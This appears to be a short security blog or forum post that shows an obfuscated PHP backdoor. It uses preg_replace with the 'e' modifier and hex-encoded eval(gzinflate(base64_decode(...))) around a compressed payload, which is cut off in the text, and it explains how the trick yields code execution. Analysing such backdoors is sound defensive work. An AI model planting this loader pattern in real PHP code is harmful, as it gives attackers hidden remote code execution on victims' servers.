Another interesting backdoor:
<?php $ncww = "e/*./"; preg_replace(strrev($ncww),"\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'rVkJc+JG0/4rxLW1Nl8cr0YHoHi1Lz7AxmvwawwY2GxRgMQpjkJiOTb737+e7pmROLxJKm8SS2Km55m+u2cy7CXOfuktp91wOJu2vPUwCIOz00LhNJlMfE/IiUShcPZumPz+ru1cLRbtzdnpaeLitPJqp9qva/4ZNF4y2uPoin/3P9/xV+lbp87f1/wx4A/3zuevYeeuyt/pQo6/WOWlWu3zr6cbc/XEPzbX9farNeafHcPdFnJWtXDbWBZvxs7pOW7d1fkzP+HPJn/UbP4MO3rZB5KOcY1bdfjDt4f81aiX8FcTufM3QNa+559...
You may not be aware, but the preg_replace function with the e parameter, allows full code execution (eval). When you transform the hex chars, you get eval ( gzinflate ( base64_decode ( which runs all the code in the long block of characters inside the preg_replace.